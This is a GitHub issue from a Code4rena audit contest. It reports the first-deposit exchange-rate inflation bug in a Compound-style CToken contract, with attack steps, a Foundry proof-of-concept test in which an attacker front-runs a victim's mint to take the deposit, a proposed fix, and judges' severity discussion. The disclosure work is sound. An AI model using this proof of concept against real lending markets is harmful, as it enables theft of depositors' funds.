-
Notifications
You must be signed in to change notification settings - Fork 0
Placeholder #247
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
This placeholder issue was created according to the criteria mentioned by C4 https://docs.code4rena.com/roles/wardens/submission-policy#findings-in-parent-of-forked-projects The hash posted above (c7a398a81e9d443542ca06717ef713924dafb717) was generated using the Command: Adding the content of the file here :- First Deposit BugThe CToken is a yield bearing asset which is minted when any user deposits some units of As per the implementation of CToken contract, there exist two cases for CToken amount calculation:
Here is the actual CToken code (extra code and comments clipped for better reading): function exchangeRateStoredInternal() internal view virtual returns (uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
return initialExchangeRateMantissa;
} else {
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves = totalCash +
totalBorrows -
totalReserves;
uint exchangeRate = (cashPlusBorrowsMinusReserves * expScale) /
_totalSupply;
return exchangeRate;
}
}
function mintFresh(address minter, uint mintAmount) internal {
// ...
Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});
uint actualMintAmount = doTransferIn(minter, mintAmount);
uint mintTokens = div_(actualMintAmount, exchangeRate);
totalSupply = totalSupply + mintTokens;
accountTokens[minter] = accountTokens[minter] + mintTokens;
}
The BugThe above implementation contains a critical bug which can be exploited to steal funds of As the exchange rate is dependent upon the ratio of CToken's totalSupply and underlying token Steps to attack:
The same steps can be performed again to steal the next user's deposit. It should be noted that the attack can happen in two ways:
ImpactA sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract. The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token's price. Suppose there are
Proof of ConceptNew test case was added to function test_bug_firstMintIssue() public {
address attacker = alice;
seedUserDAI(attacker, 2_000_000e18);
seedUserDAI(bob, 1_000_000e18);
assertEq(fDAI.exchangeRateStored(), 2e26);
assertEq(fDAI.totalSupply(), 0);
assertEq(fDAI.balanceOf(attacker), 0);
vm.prank(attacker);
DAI.approve(address(fDAI), type(uint256).max);
vm.prank(attacker);
fDAI.mint(2e8);
assertEq(fDAI.balanceOf(attacker), 1);
assertEq(fDAI.totalSupply(), 1);
vm.prank(bob);
DAI.approve(address(fDAI), type(uint256).max);
// Front-running
vm.prank(attacker);
DAI.transfer(address(fDAI), 1_000_000e18);
assertEq(fDAI.getCash(), 1_000_000e18 + 2e8);
vm.prank(bob);
fDAI.mint(1_000_000e18);
assertEq(fDAI.balanceOf(bob), 0);
assertEq(fDAI.totalSupply(), 1);
vm.prank(attacker);
fDAI.redeem(1);
assertEq(DAI.balanceOf(attacker), 3_000_000e18);
assertEq(fDAI.totalSupply(), 0);
}
The FixThe fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting small amount of CToken units to function mintFresh(address minter, uint mintAmount) internal {
// ...
Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});
uint actualMintAmount = doTransferIn(minter, mintAmount);
uint mintTokens = div_(actualMintAmount, exchangeRate);
/// THE FIX
if (totalSupply == 0) {
totalSupply = 1000;
accountTokens[address(0)] = 1000;
mintTokens -= 1000;
}
totalSupply = totalSupply + mintTokens;
accountTokens[minter] = accountTokens[minter] + mintTokens;
// ...
} Instead of a fixed End of file content Details according to C4 issue reporting format
|
trust1995 changed the severity to 2 (Med Risk) |
trust1995 marked the issue as primary issue |
This is a well known attack. Will let sponsor have a look but may QA in the future. |
trust1995 marked the issue as satisfactory |
ali2251 marked the issue as sponsor confirmed |
This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here: https://www.tally.xyz/gov/ondo-dao/proposal/3 |
Leaving as Med severity as likelihood is low but potential impact is high + sponsor found it valuable. |
trust1995 marked the issue as selected for report |
Few points about why this issue should be considered as High Severity.
Looking forward to hear the thoughts of judges. |
|
Lines of code
https://github.com/code-423n4/2023-01-ondo/blob/main/README.md?plain=1#L1
Vulnerability details
c7a398a81e9d443542ca06717ef713924dafb717
The text was updated successfully, but these errors were encountered: